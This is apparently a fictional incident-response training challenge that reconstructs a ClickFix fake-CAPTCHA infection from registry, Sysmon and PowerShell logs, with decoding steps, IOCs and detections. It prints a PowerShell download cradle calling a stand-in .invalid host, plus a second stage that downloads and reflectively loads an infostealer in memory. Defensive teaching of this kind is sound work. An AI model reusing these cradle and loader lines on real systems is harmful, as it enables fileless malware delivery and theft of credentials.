The sample
| File | challenge-07-fileless-logs.zip |
| SHA-256 | b98e911edcf3a3ca7a13147b6549e7cab247a5e67df377bcc54029c993b977bc |
| Contents | RunMRU, PowerShell 4104, Sysmon (CSV/reg export) |
| Context | NORTHSEA-DEV (alex), 2026-06-16 08:41 UTC |
Synthetic log export. The C2 hosts are non-resolvable .invalid domains, nothing is contacted. Analyse in an isolated VM.
1. Scenario
A user reported a fake CAPTCHA that asked them to press Win+R, then Ctrl+V, then Enter to "verify". That is ClickFix: the page silently wrote a command to the clipboard, and the user pasted it into the Run dialog and ran it themselves. No macro, no exploit, no file, so the EDR alert is thin.
You are handed three log exports from the host. Reconstruct the chain, decode what ran, and produce the IOCs.
🧠 ClickFix in one line: a fake verification prompt gets the victim to run an attacker command via the Windows Run box. It compresses the kill chain to a single paste.
2. Objectives
- Find the entry point in the Run dialog history (RunMRU).
- Read the process chain in Sysmon (explorer to hidden PowerShell).
- Decode the PowerShell -EncodedCommand (base64 / UTF-16LE).
- Follow the download cradle and second stage in Script Block Logging (4104).
- Explain why it is fileless, list the IOCs, and give the detections.
3. Step-by-step triage
Entry point, the Run dialog
RunMRU.regClickFix runs through the Windows Run box, so the strongest first artefact is RunMRU: it records what the user typed or pasted.
[HKEY_CURRENT_USER\...\Explorer\RunMRU] "a"="powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... # I am not a robot - Verification Ray ID: 8f2c1a9d\1" "MRUList"="ba"
🚩 A powershell -EncodedCommand in RunMRU, dressed up with a fake "I am not a robot" comment, is the ClickFix signature. The user pasted it themselves (ClickFix surged 517% in 2025).
Process chain
Sysmon (1, 3)Confirm how it launched and where it called out. The parent-child relationship is the tell.
1 explorer.exe -> powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBFAFgA... 3 powershell.exe -> stage2-cdn.example.invalid:80 3 powershell.exe -> stage2-cdn.example.invalid:80
🔴 explorer.exe spawning a hidden powershell.exe that immediately calls out is abnormal: it means a human launched it from the shell (the Run box), not an app. No Office or browser parent = not a document exploit.
Decode the EncodedCommand
base64 · CyberChefPowerShell -EncodedCommand is base64 of UTF-16LE text. Decode it to reveal stage 1.
# PowerShell
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBFAFgA...'))
# or bash
echo 'SQBFAFgA...' | base64 -d | iconv -f UTF-16LE -t UTF-8IEX (New-Object Net.WebClient).DownloadString('http://stage2-cdn.example.invalid/a.ps1')🔬 Open the CyberChef recipe, From Base64 then Decode UTF-16LE💡 Stage 1 is a classic download cradle: IEX (New-Object Net.WebClient).DownloadString(...) pulls a script from the C2 and runs it in memory, no file touches the disk.
The second stage, in Script Block Logging
PowerShell 4104Script Block Logging (Event 4104) records the deobfuscated code PowerShell actually ran, including whatever the cradle downloaded.
$u='http://stage2-cdn.example.invalid/payload.dat';$o="$env:APPDATA\Microsoft\svc.dat";(New-Object Net.WebClient).DownloadFile($u,$o);$b=[IO.File]::ReadAllBytes($o);[Reflection.Assembly]::Load($b);[NSD.Stealer]::Run()
🔥 The second stage downloads payload.dat and loads it with [Reflection.Assembly]::Load(), executing it in memory ([NSD.Stealer]::Run()). No PE on disk, which is why signature-based AV missed it. This is the initial access that dropped the infostealer from Challenge #06.
4. Why it is fileless, and how to catch it
- The payload is never written as an executable: the cradle runs a script from memory and reflectively loads an assembly. Signature scanning of files sees nothing.
- Detection shifts to behaviour and logs: enable PowerShell Script Block Logging (4104) and Module Logging, and keep AMSI on so the decoded block is scanned.
- Alert on explorer.exe or a browser spawning powershell/mshta with
-enc,-w hidden, or a download cradle, and on writes toRunMRU. - Reduce the surface: remove the Run box via GPO for standard users, apply ASR rules (block credential and script abuse), and constrain PowerShell (Constrained Language Mode, WDAC).
5. IOC and ATT&CK summary
| Type | Value | ATT&CK |
|---|---|---|
| Initial access | ClickFix, pasted powershell -enc in RunMRU | T1204 |
| Execution | powershell.exe -enc -w hidden (explorer child) | T1059.001 |
| Obfuscation | base64 / UTF-16LE EncodedCommand | T1027 / T1140 |
| C2 / cradle | http://stage2-cdn.example.invalid/a.ps1 | T1105 |
| In-memory load | [Reflection.Assembly]::Load -> NSD.Stealer | T1620 |
| Follow-on | infostealer log (see Challenge #06) | T1555 / T1539 |
6. References
How ClickFix works and how common it has become as initial access.
The 2025 surge that made ClickFix a top vector.
Abuse of PowerShell for execution, including encoded commands.
Encoding and obfuscation, including base64 EncodedCommand.
Entirely fictional environment, for educational use only. The C2 hosts are non-resolvable .invalid domains.
A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.